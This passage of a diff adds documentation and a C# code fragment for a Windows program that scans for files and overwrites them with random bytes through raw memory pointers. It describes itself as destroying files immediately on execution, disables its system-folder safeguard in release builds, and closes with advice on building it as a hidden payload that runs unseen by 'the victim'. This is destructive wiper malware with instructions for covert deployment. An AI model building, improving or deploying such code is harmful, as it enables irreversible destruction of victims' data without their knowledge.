MemoryMappedFileAccess.Write)) +{ + unsafe + { + byte* ptr = null; + try + { + // Acquire the raw memory pointer to bypass the massive CPU overhead of accessor.Write() + accessor.SafeMemoryMappedViewHandle.AcquirePointer(ref ptr); + byte* dataPtr = ptr + accessor.PointerOffset; + + for (long i = 0; i < currentChunkSize; i += 2) + { + cancellationToken.ThrowIfCancellationRequested(); + + // Write a single byte directly to virtual memory, skipping the next + dataPtr[i] = _sharedRandomBuffer[bufferIndex]; + + bufferIndex += 2; + if (bufferIndex >= BufferSize) bufferIndex = 0; + } + } + finally + { + if (ptr != null) accessor.SafeMemoryMappedViewHandle.ReleasePointer(); + } + } +} +``` +*Note: Progress reporting inside this tight loop is optimized using bitwise operations (`(i & 0xFFFF) == 0`) to only check the `Stopwatch` every 65,536 bytes, completely eliminating CPU bottlenecks.* + +### 4. Thread-Safe Console UI +Because both the scanner and multiple destruction threads are reporting progress concurrently, standard `Console.WriteLine` would result in a garbled mess. The application uses a static `_consoleLock` and `Console.SetCursorPosition` to divide the terminal into two distinct, non-overlapping sections that update in real-time. + +--- + +## Build Requirements + +* **Framework**: .NET Framework 4.6.1 (or compatible). +* Building this aginst .NET Framework 4.6.1 ensures this can be ran with on Windows builds as early as Windows 10 Version 1511 (Build 10586). +* **Unsafe Code**: Because `FileDestruction.cs` utilizes raw memory pointers for maximum performance, you must enable unsafe code compilation. + * In Visual Studio: `Project Properties -> Build -> Allow unsafe code`. + * In `.csproj`: Add `true` to your `PropertyGroup`. + +## Usage + +Compile the application in `Release` mode for maximum performance. Upon execution, the program will immediately begin scanning and destroying files. + +*Debug Note: When compiled in `DEBUG` mode, the `AvoidSystemFolders` flag is set to `true`, which prevents the destruction of critical Windows OS files (Windows, Program Files, AppData) to allow for safer testing.* + +*Payload note: If building this to be used as a legit payload, be sure to set the Output Type in visual studio to Windows Application, and comment out all the progress reporting code in the Program.Main method. This will result in no window being shown and the code will execute completely hidden from the victim.* \ No newline at end of file